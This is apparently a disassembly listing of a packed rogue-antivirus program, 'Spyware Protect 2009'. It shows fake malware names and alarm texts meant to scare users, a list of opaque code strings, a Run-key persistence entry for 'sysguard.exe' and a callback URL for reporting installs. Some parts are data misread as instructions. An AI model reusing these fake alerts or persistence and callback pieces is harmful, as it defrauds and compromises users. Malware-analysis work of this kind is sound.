		unicode	0, <hes	the computer in	a file which has the default icon of >
		unicode	0, <a Windows folder...>,0
		align 10h
aAutorun_aol:				; DATA XREF: UPX0:0042DB18o
		unicode	0, <Autorun.AOL>,0
aHigh_3:				; DATA XREF: UPX0:0042DB1Co
		unicode	0, <High>,0
		align 8
aCategoryWorm_0:			; DATA XREF: UPX0:0042DB20o
		unicode	0, <Category Worm: It spreads exploiting the vulnerability ca>
		unicode	0, <lled MS04-011, across networks and through removable driv>
		unicode	0, <es.	It has backdoor	characteristics, as it attempts	to co>
		unicode	0, <nnect to an	IRC channel in order to	receive	remote instru>
		unicode	0, <ctions...>,0
aSinowal_vxr:				; DATA XREF: UPX0:0042DB24o
		unicode	0, <Sinowal.VXR>,0
aVeryHigh_2:				; DATA XREF: UPX0:0042DB28o
		unicode	0, <Very High>,0
aCategoryTrojan:			; DATA XREF: UPX0:0042DB2Co
		unicode	0, <Category Trojan: It	is designed to obtain confidential in>
		unicode	0, <formation related to certain British banking entities. It>
		unicode	0, < does not spread automatically by its own means...>,0
		align 4
aAntivirus360:				; DATA XREF: UPX0:0042DB30o
		unicode	0, <Antivirus360>,0
		align 4
aHigh_4:				; DATA XREF: UPX0:0042DB34o
		unicode	0, <High>,0
		align 8
aCategoryAdwa_3:			; DATA XREF: UPX0:0042DB38o
		unicode	0, <Category Adware: It	deceives users and warns them of unex>
		unicode	0, <isting threats in their computers. In order	to eliminate >
		unicode	0, <them, they are enticed to purchase a certain program. It >
		unicode	0, <can	be downloaded from the website belonging to the	compa>
		unicode	0, <ny that has	developed it...>,0
aBankerfox_a:				; DATA XREF: UPX0:0042DB3Co
		unicode	0, <BankerFox.A>,0
aMedium_4:				; DATA XREF: UPX0:0042DB40o
		unicode	0, <Medium>,0
		align 10h
aCategoryTroj_0:			; DATA XREF: UPX0:0042DB44o
		unicode	0, <Category Trojan: It	is designed to steal users banking da>
		unicode	0, <ta related to certain banking entities. When they access >
		unicode	0, <the	website	of the affected	banks through the Firefox bro>
		unicode	0, <wser, the Trojan is	activated and logs the information en>
		unicode	0, <tered by the users in the website. It does not spread aut>
		unicode	0, <omatically using its own means...>,0
		align 10h
aP2pshared_u:				; DATA XREF: UPX0:0042DB48o
		unicode	0, <P2PShared.U>,0
aHigh_5:				; DATA XREF: UPX0:0042DB4Co
		unicode	0, <High>,0
		align 8
aCategoryWorm_1:			; DATA XREF: UPX0:0042DB50o
		unicode	0, <Category Worm: Its main objective is to spread through pe>
		unicode	0, <er-to-peer (P2P) file sharing programs, email and removab>
		unicode	0, <le drives. It reaches the computer in a file which has th>
		unicode	0, <e icon of a	snowball...>,0
		align 10h
aBittera_c:				; DATA XREF: UPX0:0042DB54o
		unicode	0, <BitTera.C>,0
aCritical_3:				; DATA XREF: UPX0:0042DB58o
		unicode	0, <Critical>,0
		align 4
aCategoryVirusI:			; DATA XREF: UPX0:0042DB5Co
		unicode	0, <Category Virus: It is a malicious tool which allows	to cr>
		unicode	0, <eate any type of malware with different functions, such a>
		unicode	0, <s to disable the Task Manager, hide	the Start button or p>
		unicode	0, <revent the execution of the	Notepad...>,0
aAzero_b:				; DATA XREF: UPX0:0042DB60o
		unicode	0, <Azero.B>,0
aHigh_6:				; DATA XREF: UPX0:0042DB64o
		unicode	0, <High>,0
		align 4
aCategoryViru_0:			; DATA XREF: UPX0:0042DB68o
		unicode	0, <Category Virus: It modifies	the Desktop wallpaper and inf>
		unicode	0, <ects executable files, which are then distributed through>
		unicode	0, < any of the	usual means...>,0
		align 4
aSality_an:				; DATA XREF: UPX0:0042DB6Co
		unicode	0, <Sality.AN>,0
aCritical_4:				; DATA XREF: UPX0:0042DB70o
		unicode	0, <Critical>,0
		align 10h
aCategoryViru_1:			; DATA XREF: UPX0:0042DB74o
		unicode	0, <Category Virus: It infects executable files	(with an EXE,>
		unicode	0, < PIF and SCR) and downloads	variants of the	Trojan family>
		unicode	0, < called Sinowal, designed to steal user>
		dw 27h
		unicode	0, <s banking entities.	It spreads by distributing the previo>
		unicode	0, <usly infected files	and making copies of itself in the sy>
		unicode	0, <stem and removable drives...>,0
		align 4
aWinwebsecurity:			; DATA XREF: UPX0:0042DB78o
		unicode	0, <WinWebSecurity2008>,0
		align 4
aMedium_5:				; DATA XREF: UPX0:0042DB7Co
		unicode	0, <Medium>,0
		align 10h
aCategoryAdwa_4:			; DATA XREF: UPX0:0042DB80o
		unicode	0, <Category Adware: It	deceives users and warns them of unex>
		unicode	0, <isting threats in their computers. In order	to eliminate >
		unicode	0, <them, they are enticed to purchase a certain program. It >
		unicode	0, <can	be downloaded from the website belonging to the	compa>
		unicode	0, <ny that has	developed it...>,0
aDownloader_js_:			; DATA XREF: UPX0:0042DB84o
		unicode	0, <Downloader.JS.Small.fi>,0
		align 10h
aHigh_7:				; DATA XREF: UPX0:0042DB88o
		unicode	0, <High>,0
		align 10h
aCategoryTroj_1:			; DATA XREF: UPX0:0042DB8Co
		unicode	0, <Category Trojan: This Trojan downloads other files via th>
		unicode	0, <e Internet and launches them for execution on the victim >
		unicode	0, <machine. The program is an HTML page which contains	Java >
		unicode	0, <Script scenarios. It is 1432 bytes in size.	 >,0
		align 4
aPsw_win32_onli:			; DATA XREF: UPX0:0042DB90o
		unicode	0, <PSW.Win32.OnLineGames.sxa>,0
aMedium_6:				; DATA XREF: UPX0:0042DB94o
		unicode	0, <Medium>,0
		align 4
aCategoryTroj_2:			; DATA XREF: UPX0:0042DB98o
		unicode	0, <Category Trojan: This malicious program is a Trojan. It i>
		unicode	0, <s a	Windows	PE EXE file. It	is 118103 bytes	in size. Inst>
		unicode	0, <allation The Trojan	copies its executable file to the Win>
		unicode	0, <dows system	directory: %System%\kavo.exe In	order to ensu>
		unicode	0, <re that the	Trojan is launched automatically each time th>
		unicode	0, <e system is	restarted, the...  >,0
		align 4
aDownloader_win:			; DATA XREF: UPX0:0042DB9Co
		unicode	0, <Downloader_Win32_Agent.nmi>,0
		align 4
aCritical_5:				; DATA XREF: UPX0:0042DBA0o
		unicode	0, <Critical>,0
		align 10h
aCategoryTroj_3:			; DATA XREF: UPX0:0042DBA4o
		unicode	0, <Category Trojan: This Trojan downloads another program vi>
		unicode	0, <a the Internet and launches	it on the victim machine with>
		unicode	0, <out	the user>
dword_4225FC	dd 732019h, 6B0020h, 6F006Eh, 6C0077h, 640065h,	650067h
		dd 6F0020h, 200072h, 6F0063h, 73006Eh, 6E0065h,	2E0074h
		dd 490020h, 200074h, 730069h, 610020h, 570020h,	6E0069h
		dd 6F0064h, 730077h, 500020h, 200045h, 580045h,	200045h
		dd 690066h, 65006Ch, 20002Eh, 680054h, 200065h,	690073h
		dd 65007Ah, 6F0020h, 200066h, 6E0069h, 650066h,	740063h
		dd 640065h, 660020h, 6C0069h, 730065h, 630020h,	6E0061h
		dd 720020h, 6E0061h, 650067h, 660020h, 6F0072h,	20006Dh
		dd 380031h, 42004Bh, 740020h, 20006Fh, 370034h,	42004Bh
		dd 20002Eh, 20h, 6F0044h, 6E0077h, 6F006Ch, 640061h, 720065h
		dd 57002Eh, 6E0069h, 320033h, 42002Eh, 610072h,	640069h
		dd 700075h, 610064h, 650074h, 63002Eh, 0
aHigh_8:				; DATA XREF: UPX0:0042DBACo
		unicode	0, <High>,0
		align 4
aCategoryTroj_4:			; DATA XREF: UPX0:0042DBB0o
		unicode	0, <Category Trojan: This Trojan downloads another program vi>
		unicode	0, <a the Internet and launches	it on the victim machine with>
		unicode	0, <out	the user>
		dd 732019h, 6B0020h, 6F006Eh, 6C0077h, 640065h,	650067h
		dd 6F0020h, 200072h, 6F0063h, 73006Eh, 6E0065h,	2E0074h
		dd 490020h, 200074h, 730069h, 610020h, 570020h,	6E0069h
		dd 6F0064h, 730077h, 500020h, 200045h, 580045h,	200045h
		dd 690066h, 65006Ch, 20002Eh, 740049h, 690020h,	200073h
		dd 390037h, 360033h, 200030h, 790062h, 650074h,	200073h
		dd 6E0069h, 730020h, 7A0069h, 2E0065h, 490020h,	200074h
		dd 730069h, 770020h, 690072h, 740074h, 6E0065h,	690020h
		dd 20006Eh, 2B0043h, 2E002Bh, 490020h, 73006Eh,	610074h
		dd 6C006Ch, 740061h, 6F0069h, 20006Eh, 6E0049h,	6F0020h
		dd 640072h, 720065h, 740020h, 20006Fh, 6E0065h,	750073h
		dd 650072h, 740020h, 610068h, 200074h, 680074h,	200065h
		dd 720054h, 6A006Fh, 6E0061h, 690020h, 200073h,	61006Ch
		dd 6E0075h, 680063h, 640065h, 610020h, 740075h,	6D006Fh
		dd 740061h, 630069h, 6C0061h, 79006Ch, 650020h,	630061h
		dd 2E0068h, 2E002Eh, 200020h, 0
aDownloader_j_0:			; DATA XREF: UPX0:0042DBB4o
		unicode	0, <Downloader.JS.Agent.sg>,0
		align 4
aMedium_7:				; DATA XREF: UPX0:0042DBB8o
		unicode	0, <Medium>,0
		align 10h
aCategoryTroj_5:			; DATA XREF: UPX0:0042DBBCo
		unicode	0, <Category Trojan: This Trojan downloads other files via th>
		unicode	0, <e Internet and launches them for execution on the victim >
		unicode	0, <machine. It	is an HTML page	which contains Visual Basic S>
		unicode	0, <cript and Java Script. It is 677 bytes in size.  >,0
		align 10h
aGamethief_win3:			; DATA XREF: UPX0:0042DBC0o
		unicode	0, <GameThief.Win32.OnLineGames.tnys>,0
		align 4
aMedium_8:				; DATA XREF: UPX0:0042DBC4o
		unicode	0, <Medium>,0
		align 8
aCategoryTroj_6:			; DATA XREF: UPX0:0042DBC8o
		unicode	0, <Category Trojan: This Trojan is designed to	steal account>
		unicode	0, < data from the online game LineAge2. It is a Windows PE E>
		unicode	0, <XE file. It	is 654848 bytes	in size.  >,0
		align 4
aPsw_win32_on_0:			; DATA XREF: UPX0:0042DBCCo
		unicode	0, <PSW.Win32.OnLineGames.rlh>,0
aHigh_9:				; DATA XREF: UPX0:0042DBD0o
		unicode	0, <High>,0
		align 10h
aCategoryTroj_7:			; DATA XREF: UPX0:0042DBD4o
		unicode	0, <Category Trojan: This malicious program is a Trojan. It i>
		unicode	0, <s a	Windows	PE EXE file. It	is 112736 bytes	in size. Inst>
		unicode	0, <allation The Trojan	copies its executable file to the Win>
		unicode	0, <dows system	directory: %System%\kavo.exe In	order to ensu>
		unicode	0, <re that the	Trojan is launched automatically each time th>
		unicode	0, <e system is	restarted, the...  >,0
		align 4
aDownloader_w_0:			; DATA XREF: UPX0:0042DBD8o
		unicode	0, <Downloader.Win32.Delf.cgx>,0
aHigh_10:				; DATA XREF: UPX0:0042DBDCo
		unicode	0, <High>,0
		align 10h
aCategoryTroj_8:			; DATA XREF: UPX0:0042DBE0o
		unicode	0, <Category Trojan: This Trojan downloads other files via th>
		unicode	0, <e Internet and launches them for execution on the victim >
		unicode	0, <machine without the	user>
dword_423144	dd 732019h, 6B0020h, 6F006Eh, 6C0077h, 640065h,	650067h
		dd 6F0020h, 200072h, 6F0063h, 73006Eh, 6E0065h,	2E0074h
		dd 490020h, 200074h, 730069h, 610020h, 570020h,	6E0069h
		dd 6F0064h, 730077h, 500020h, 200045h, 580045h,	200045h
		dd 690066h, 65006Ch, 20002Eh, 740049h, 690020h,	200073h
		dd 380034h, 320031h, 200038h, 790062h, 650074h,	200073h
		dd 6E0069h, 730020h, 7A0069h, 2E0065h, 490020h,	200074h
		dd 730069h, 700020h, 630061h, 65006Bh, 200064h,	730075h
		dd 6E0069h, 200067h, 450050h, 6F0043h, 70006Dh,	630061h
		dd 2E0074h, 540020h, 650068h, 750020h, 70006Eh,	630061h
		dd 65006Bh, 200064h, 690066h, 65006Ch, 690020h,	200073h
		dd 700061h, 720070h, 78006Fh, 6D0069h, 740061h,	6C0065h
		dd 200079h, 330031h, 4B0031h, 200042h, 6E0069h,	730020h
		dd 7A0069h, 2E0065h, 490020h, 200074h, 730069h,	2E002Eh
		dd 20002Eh, 20h, 610042h, 6B0063h, 6F0064h, 72006Fh, 57002Eh
		dd 6E0069h, 320033h, 53002Eh, 61006Dh, 6C006Ch,	78002Eh
		dd 0
aHigh_11:				; DATA XREF: UPX0:0042DBE8o
		unicode	0, <High>,0
		align 4
aCategoryBack_0:			; DATA XREF: UPX0:0042DBECo
		unicode	0, <Category Backdoor: This Trojan provides a remote maliciou>
		unicode	0, <s user with	access to the victim machine. It is a Windows>
		unicode	0, < PE	EXE file. It is	1087 bytes in size.  >,0
aAazalirt:				; DATA XREF: UPX0:off_42DBF0o
		unicode	0, <aazalirt>,0
		align 4
aSkaaanret:				; DATA XREF: UPX0:0042DBF4o
		unicode	0, <skaaanret>,0
aJungertab:				; DATA XREF: UPX0:0042DBF8o
		unicode	0, <jungertab>,0
aZibaglertz:				; DATA XREF: UPX0:0042DBFCo
		unicode	0, <zibaglertz>,0
		align 4
aIddqdops:				; DATA XREF: UPX0:0042DC00o
		unicode	0, <iddqdops>,0
		align 4
aRonitfst:				; DATA XREF: UPX0:0042DC04o
		unicode	0, <ronitfst>,0
		align 4
aTobmygers:				; DATA XREF: UPX0:0042DC08o
		unicode	0, <tobmygers>,0
aJikglond:				; DATA XREF: UPX0:0042DC0Co
		unicode	0, <jikglond>,0
		align 4
aTobykke:				; DATA XREF: UPX0:0042DC10o
		unicode	0, <tobykke>,0
aKlopnidret:				; DATA XREF: UPX0:0042DC14o
		unicode	0, <klopnidret>,0
		align 4
aJiklagka:				; DATA XREF: UPX0:0042DC18o
		unicode	0, <jiklagka>,0
		align 10h
aSalrtybek:				; DATA XREF: UPX0:0042DC1Co
		unicode	0, <salrtybek>,0
aSeeukluba:				; DATA XREF: UPX0:0042DC20o
		unicode	0, <seeukluba>,0
aJrjakdsd:				; DATA XREF: UPX0:0042DC24o
		unicode	0, <jrjakdsd>,0
		align 4
aKrkdkdkee:				; DATA XREF: UPX0:0042DC28o
		unicode	0, <krkdkdkee>,0
aDkewiizkjdks:				; DATA XREF: UPX0:0042DC2Co
		unicode	0, <dkewiizkjdks>,0
		align 4
aDkekkrkska:				; DATA XREF: UPX0:0042DC30o
		unicode	0, <dkekkrkska>,0
		align 4
aRkaskssd:				; DATA XREF: UPX0:0042DC34o
		unicode	0, <rkaskssd>,0
		align 4
aKuruhccdsdd:				; DATA XREF: UPX0:0042DC38o
		unicode	0, <kuruhccdsdd>,0
aKrujmmwlrra:				; DATA XREF: UPX0:0042DC3Co
		unicode	0, <krujmmwlrra>,0
aKkwknrbsggeg:				; DATA XREF: UPX0:0042DC40o
		unicode	0, <kkwknrbsggeg>,0
		align 4
aKtknamwerr:				; DATA XREF: UPX0:0042DC44o
		unicode	0, <ktknamwerr>,0
		align 4
aIqmcnoeqz:				; DATA XREF: UPX0:0042DC48o
		unicode	0, <iqmcnoeqz>,0
aIenotas:				; DATA XREF: UPX0:0042DC4Co
		unicode	0, <ienotas>,0
aKrkmahejdk:				; DATA XREF: UPX0:0042DC50o
		unicode	0, <krkmahejdk>,0
		align 4
aOtpeppggq:				; DATA XREF: UPX0:0042DC54o
		unicode	0, <otpeppggq>,0
aKrtawefg:				; DATA XREF: UPX0:0042DC58o
		unicode	0, <krtawefg>,0
		align 10h
aOranerkka:				; DATA XREF: UPX0:0042DC5Co
		unicode	0, <oranerkka>,0
aKitiiwhaas:				; DATA XREF: UPX0:0042DC60o
		unicode	0, <kitiiwhaas>,0
		align 4
aOtowjdseww:				; DATA XREF: UPX0:0042DC64o
		unicode	0, <otowjdseww>,0
		align 4
aOtnnbektre:				; DATA XREF: UPX0:0042DC68o
		unicode	0, <otnnbektre>,0
		align 4
aOropbbsee:				; DATA XREF: UPX0:0042DC6Co
		unicode	0, <oropbbsee>,0
aIrprokwks:				; DATA XREF: UPX0:0042DC70o
		unicode	0, <irprokwks>,0
aOoorjaas:				; DATA XREF: UPX0:0042DC74o
		unicode	0, <ooorjaas>,0
		align 4
aSoftwareAvsc_0:			; DATA XREF: UPX0:0041C82Eo
		unicode	0, <Software\AvScan>,0
aActcode:				; DATA XREF: sub_4170DD+18o
		unicode	0, <actcode>,0
aReady:					; DATA XREF: sub_416F74+28o
		unicode	0, <ready>,0
aReady_0:				; DATA XREF: sub_4170C1o
		unicode	0, <ready>,0
aEmail_0:				; DATA XREF: sub_417023+31o
		unicode	0, <email>,0
aEmail_1:				; DATA XREF: sub_41709B+7o
		unicode	0, <email>,0
aPurchaseFullVe:			; DATA XREF: sub_417588+C0o
		unicode	0, <Purchase full version Spyware Protect 2009>,0
		align 10h
asc_4237A0:				; DATA XREF: sub_4173E1+56o
		unicode	0, <\>,0
aSysguard_exe:				; DATA XREF: sub_4173E1+6Fo
		unicode	0, <sysguard.exe>,0
		align 10h
aSysguard_exe_0:			; DATA XREF: sub_4173E1+76o
		unicode	0, <sysguard.exe>,0
		align 10h
aSoftwareMicros:			; DATA XREF: sub_4173E1+B0o
		unicode	0, <Software\Microsoft\Windows\CurrentVersion\Run>,0
aSysguard:				; DATA XREF: sub_4173E1+E0o
		unicode	0, <sysguard>,0
		align 10h
aHttpSpywprot_0:			; DATA XREF: sub_4173E1+133o
		unicode	0, <http://spywprotect2009.com/loads.php>,0
		align 4
a?r:					; DATA XREF: sub_4173E1+15Co
		unicode	0, <?r=>,0
a16_0_0:				; DATA XREF: sub_4173E1+172o
		unicode	0, <16.0>,0
		align 10h
aSoftwareAvscan:			; DATA XREF: sub_417692+69o
		unicode	0, <Software\AvScan>,0
aS:
		unicode	0, <S>,0
aM:
		unicode	0, <M>,0
aD:
		unicode	0, <D>,0
aB:
		unicode	0, <B>,0
aVal_0:
		unicode	0, <Val>,0
aForceremove_0:
		unicode	0, <ForceRemove>,0
aNoremove_0:
		unicode	0, <NoRemove>,0
		align 4
aDelete_2:
		unicode	0, <Delete>,0
		align 4
aAppid:					; DATA XREF: UPX0:off_423C6Co
		unicode	0, <AppID>,0
aClsid_0:				; DATA XREF: UPX0:00423C70o
		unicode	0, <CLSID>,0
aComponentCat_0:			; DATA XREF: UPX0:00423C74o
		unicode	0, <Component Categories>,0
		align 4
aFiletype_0:				; DATA XREF: UPX0:00423C78o
		unicode	0, <FileType>,0
		align 4
aInterface_0:				; DATA XREF: UPX0:00423C7Co
		unicode	0, <Interface>,0
aHardware_0:				; DATA XREF: UPX0:00423C80o
		unicode	0, <Hardware>,0
		align 4
aMime:					; DATA XREF: UPX0:00423C84o
		unicode	0, <Mime>,0
		align 10h
off_4239B0	dd offset loc_410053	; DATA XREF: UPX0:00423C88o
dword_4239B4	dd 4Dh,	450053h, 550043h, 490052h, 590054h, 0aSystem_0:				; DATA XREF: UPX0:00423C90o
		unicode	0, <SYSTEM>,0
		align 4
aSoftware_0:				; DATA XREF: UPX0:00423C94o
		unicode	0, <Software>,0
		align 10h
aTypelib_0:				; DATA XREF: UPX0:00423C98o
		unicode	0, <TypeLib>,0
asc_423A00:				; DATA XREF: sub_401496+14o
		unicode	0, <:>,0
dword_423A04	dd 0		dword_423A08	dd 0		dword_423A0C	dd 20646162h, 6F6C6C61h, 69746163h, 6E6FhaShow:					; DATA XREF: sub_418A96+96o
		unicode	0, <Show>,0
		align 4
aClose:					; DATA XREF: sub_418A96+B0o
		unicode	0, <Close>,0
aSettitle:				; DATA XREF: sub_418A96+C6o
		unicode	0, <SetTitle>,0
		align 4
aDragwindow:				; DATA XREF: sub_418A96+DCo
		unicode	0, <DragWindow>,0
		align 10h
aResizewindow:				; DATA XREF: sub_418A96+F2o
		unicode	0, <ResizeWindow>,0
		align 4
aMinimizewindow:			; DATA XREF: sub_418A96+108o
		unicode	0, <MinimizeWindow>,0
		align 4
aTogglemaximize:			; DATA XREF: sub_418A96+11Eo
		unicode	0, <ToggleMaximizeNormalWindow>,0
		align 4
aSetopacity:				; DATA XREF: sub_418A96+134o
		unicode	0, <SetOpacity>,0
		align 4
dword_423AEC	dd 0		aRightbottom:				; DATA XREF: sub_417C70+B5o
		unicode	0, <rightbottom>,0
aCenter:				; DATA XREF: sub_417C70+FEo
		unicode	0, <center>,0
		align 4
aMouse:					; DATA XREF: sub_417C70+197o
		unicode	0, <mouse>,0
dword_423B24	dd 0		aRes:					; DATA XREF: sub_41889D+BFo
		unicode	0, <res://>,0
		align 4
asc_423B38:				; DATA XREF: sub_41889D+ECo
		unicode	0, </>,0
dword_423B3C	dd 10Fh, 0			dd 0C0h, 46000000h, 0BD3F23C0h,	11CFD43Eh, 0AA003B89h
		dd 1ACEBD00h, 0B6EA2051h, 11D1048Ah, 0C000B982h, 2E94B94Fh
dword_423B6C	dd 0B2D0778Bh, 4C58AC99h, 72E7C8A5h, 0B516534Eh
					; DATA XREF: UPX0:off_42DEA4o
dword_423B7C	dd 6D5140C1h, 11CE7436h, 0AA003480h, 0FA096000hdword_423B8C	dd 0FC4801A3h, 11CF2BA9h, 0AA0029A2h, 52733D00h					; sub_404083+3AEo
dword_423B9C	dd 11Bh, 0			dd 0C0h, 46000000h, 0B196B289h,	101ABAB4h, 0AA009CB6h
		dd 71D3400h, 119h, 0
		dd 0C0h, 46000000h, 9C2CAD80h, 11CF3424h, 0AA0070B6h, 0D8D64C00h
		dd 922EADA0h, 11CF3424h, 0AA0070B6h, 0D8D64C00h
dword_423BEC	dd 118h, 0						; sub_4026BE+2Fo ...
		dd 0C0h, 46000000h
dword_423BFC	dd 3935BDA8h, 495C4ED9h, 1FE05086h, 4B8AE3C1hdword_423C0C	dd 0B6EA2050h, 11D1048Ah, 0C000B982h, 2E94B94Fh					; sub_4053D6+4Eo ...
dword_423C1C	dd 20400h, 0						; sub_417E88+Bo ...
		dd 0C0h, 46000000h, 114h, 0
		dd 0C0h, 46000000h
dword_423C3C	dd 115h, 0						; UPX0:off_423D04o
		dd 0C0h, 46000000h
dword_423C4C	dd 116h, 0						; UPX0:off_423CACo
		dd 0C0h, 46000000h
dword_423C5C	dd 44EC0535h, 11D0400Fh, 0A000CD9Dh, 0D39103C9hoff_423C6C	dd offset aAppid	; DATA XREF: sub_408039+1o
					; "AppID"
		dd offset aClsid_0	; "CLSID"
		dd offset aComponentCat_0 ; "Component Categories"
		dd offset aFiletype_0	; "FileType"
		dd offset aInterface_0	; "Interface"
		dd offset aHardware_0	; "Hardware"
		dd offset aMime		; "Mime"
		dd offset off_4239B0
		dd offset dword_4239B4+4
		dd offset aSystem_0	; "SYSTEM"
		dd offset aSoftware_0	; "Software"
		dd offset aTypelib_0	; "TypeLib"
a32770:					; DATA XREF: sub_40188D+2Co
					; sub_408039+19o
		unicode	0, <#32770>,0
		align 4
off_423CAC	dd offset dword_423C4C	; DATA XREF: sub_404F0D+11o
		dd 24h,	1, 423C3Ch, 24h, 1, 423C2Ch, 24h, 1, 3 dup(0)
aAxwinFrameWind:			; DATA XREF: sub_404D0B+37o
		unicode	0, <AXWIN Frame	Window>,0
		align 4
off_423D04	dd offset dword_423C3C	; DATA XREF: sub_404FB1+11o
		dd 24h,	1, 423C2Ch, 24h, 1, 3 dup(0)
aAxwinUiWindow:				; DATA XREF: sub_404D5C+37o
		unicode	0, <AXWIN UI Window>,0
off_423D48	dd offset dword_423C1C	; DATA XREF: sub_4058EE+37o
		dd 4Ch,	1, 423C0Ch, 24h, 1, 423BFCh, 24h, 1, 423BECh, 28h
		dd 1, 423BDCh, 2Ch, 1, 423BCCh,	2Ch, 1,	423BBCh, 2Ch, 1
		dd 423C2Ch, 2Ch, 1, 423BACh, 30h, 1, 423B9Ch, 34h, 1, 423B8Ch
		dd 38h,	1, 423B7Ch, 40h, 1, 423B6Ch, 4Ch, 1, 423B5Ch, 4Ch
		dd 1, 423B4Ch, 48h, 1, 423B3Ch,	44h, 1,	3 dup(0)
aAtlaxwin80:				; DATA XREF: sub_404725+47o
					; sub_41889D+68o
		unicode	0, <AtlAxWin80>,0
		align 4
aAxwin:					; DATA XREF: sub_404083+293o
		unicode	0, <AXWIN>,0
aWm_atlgethost:				; DATA XREF: sub_404725+22o
		unicode	0, <WM_ATLGETHOST>,0
aWm_atlgetcontr:			; DATA XREF: sub_404725+2Eo
		unicode	0, <WM_ATLGETCONTROL>,0
		align 4
aAtlP:					; DATA XREF: sub_406DD8+E8o
		unicode	0, <ATL:%p>,0
		align 4
aAtlaxwinlic80:				; DATA XREF: sub_404725+EEo
		unicode	0, <AtlAxWinLic80>,0
off_423EA4	dd offset dword_41EF34	; DATA XREF: sub_405074+Do
					; sub_406C2A+8Ao
		dd 0
		dd 1, 3	dup(0)
aMapSetTTooLong	db 'map/set<T> too long',0 ; DATA XREF: sub_405CA8+17o
aInvalidMapSetT	db 'invalid map/set<T> iterator',0 ; DATA XREF: sub_406130+15o
		dd offset dword_4261DC
off_423EF0	dd offset sub_4058EE	; DATA XREF: sub_4057F4+16o
					; sub_40587D+Fo
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 58h,	40h, 0
		dd offset loc_4058D0
		dd offset loc_405974
		dd offset dword_425E2C
off_423F04	dd offset sub_401DB8	; DATA XREF: sub_404EC4+3o
					; sub_407031+2Do
		dd offset sub_4052ED
		dd offset sub_404D56
		dd offset nullsub_2
		align 8
		dd offset dword_425E18
off_423F1C	dd offset sub_404F0D	; DATA XREF: sub_404EC4+9o
					; sub_407031+33o
		dd offset sub_404F75
		dd offset sub_404F86
		dd offset sub_401DBD
		dd offset sub_401E40
		dd offset sub_401E40
		dd offset sub_401DF9
		dd offset sub_401E40
		dd offset sub_401E45
		dd offset sub_401E01
		dd offset sub_401E06
		dd offset sub_401E40
		dd offset sub_401E40
		dd offset sub_401E40
		dd offset sub_401E0B
		dd offset dword_425D04
off_423F5C	dd offset sub_401DB8	; DATA XREF: sub_404F2C+3o
					; sub_40707B+2Do
		dd offset sub_405309
		dd offset sub_404D56
		dd offset nullsub_2
		dd offset dword_425CF0
off_423F70	dd offset sub_404FB1	; DATA XREF: sub_404F2C+9o
					; sub_40707B+33o
		dd offset sub_404F75
		dd offset sub_404F86
		dd offset sub_401E11
		dd offset sub_401E40
		dd offset sub_401E40
		dd offset sub_401DF9
		dd offset sub_401E40
		dd offset sub_401E45
		dd offset dword_425B9C
off_423F98	dd offset sub_405074	; DATA XREF: sub_404FD0+25o
					; sub_40500B+4o
		dd offset sub_405039
		dd offset sub_40504A
		dd offset sub_406B27
		dd offset sub_406BF2
		dd offset sub_40508F
		dd offset sub_406C2A
		dd offset sub_405325
		dd offset dword_4258D8
off_423FBC	dd offset sub_404BAF	; DATA XREF: sub_404B59+11o
					; sub_418A96+2Eo
		dd offset sub_4091D6
		dd offset sub_404D56
		dd offset nullsub_3
; ---------------------------------------------------------------------------
		xor	edi, [ecx+41h]
		add	[edx+7Ah], ah
		inc	ecx
		add	ah, al
		pop	eax
		inc	edx


loc_423FD7:				; DATA XREF: sub_404B59+17o
					; sub_418A96+34o
		add	[eax-16FFBE82h], cl
		ja	short loc_42401F
		add	cl, ch
		ja	short near ptr loc_424021+2
		add	[edi+300404Bh],	ah
		cmp	al, [eax+0]
		retn
; ---------------------------------------------------------------------------
		db 7Fh,	41h, 0
		dd offset sub_418A6B
		dd offset dword_424F28
off_423FF8	dd offset sub_402032	; DATA XREF: sub_4057F4+21o
		dd offset sub_405EED
		dd offset sub_404D56
		dd offset sub_402024
		dd offset sub_405970
		dd offset dword_424F14
off_424010	dd offset loc_405959	; DATA XREF: sub_4057F4+27o
		dd offset loc_405939
		dd offset loc_405949
		db 0E8h, 29h, 40h
; ---------------------------------------------------------------------------


loc_42401F:				; CODE XREF: UPX0:00423FDDj
		add	[esi], ah


loc_424021:				; CODE XREF: UPX0:00423FE1j
		sub	al, [eax+0]
		dec	edx
		sub	al, [eax+0]
		in	eax, dx
		sub	al, [eax+0]
		sbb	al, 2Bh
		inc	eax
		add	[ecx], bh
		sub	eax, [eax+0]
		push	esi
		sub	eax, [eax+0]
		xchg	eax, ebp
		sub	eax, [eax+0]
		add	[edi+42h], cl


loc_42403F:				; DATA XREF: sub_4057F4+2Eo
		add	[ebx], al
		jb	short loc_424083
		add	dl, al
		jno	short near ptr loc_424083+4
		add	[ebp+4D004072h], cl
		cmp	al, 40h
		add	[ebx], al
		cmp	al, [eax+0]
		or	edi, [edx]
		inc	eax
		add	[ecx+3Ah], cl
		inc	eax
		add	[edi+4D00404Bh], ah
		cmp	al, 40h
; ---------------------------------------------------------------------------
		db 0
		align 8
		dd offset dword_424EEC
off_42406C	dd offset loc_40722B	; DATA XREF: sub_4057F4+35o
		dd offset loc_4071EA
		dd offset loc_407190
; ---------------------------------------------------------------------------
		cdq
		cmp	al, [eax+0]
		cmpsd
		dec	ebx
		inc	eax
		add	[eax+3Dh], dl
		inc	eax


loc_424083:				; CODE XREF: UPX0:00424041j
					; UPX0:00424045j
		add	[ebx-23FFBFC6h], ch
		cmp	al, [eax+0]
		jmp	near ptr 1A4280CBh
; ---------------------------------------------------------------------------
		db 3Ch,	40h, 0
		dd offset loc_403C22
		dd offset loc_403C2F
		dd offset sub_403C4D
		dd offset sub_403C4D
		dd offset sub_403C55
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 3Ch,	40h, 0
		dd offset loc_403D32
		dd offset sub_403D50
		dd offset loc_403D55
		dd offset loc_403D67
		dd offset loc_403D79
		dd offset loc_403DA8
		dd offset loc_403DBA
		dd offset sub_403DD3
		dd offset sub_403EA4
		dd offset sub_403F10
		dd offset sub_403F2A
		dd offset sub_403F44
		dd offset sub_401E40
		dd offset sub_403F49
		dd offset dword_424ED8
off_4240E8	dd offset loc_407249	; DATA XREF: sub_4057F4+3Co
		dd offset loc_407221
		dd offset loc_4071B8
		dd offset sub_403D50
		dd offset sub_401E40
		dd offset sub_403F6F
		dd offset sub_403A03
		dd offset sub_401E0B
		dd offset sub_403F95
		dd offset sub_403C4D
		dd offset dword_424EC4
off_424114	dd offset loc_40726F	; DATA XREF: sub_4057F4+43o
		dd offset loc_40723F
		dd offset loc_4071E0
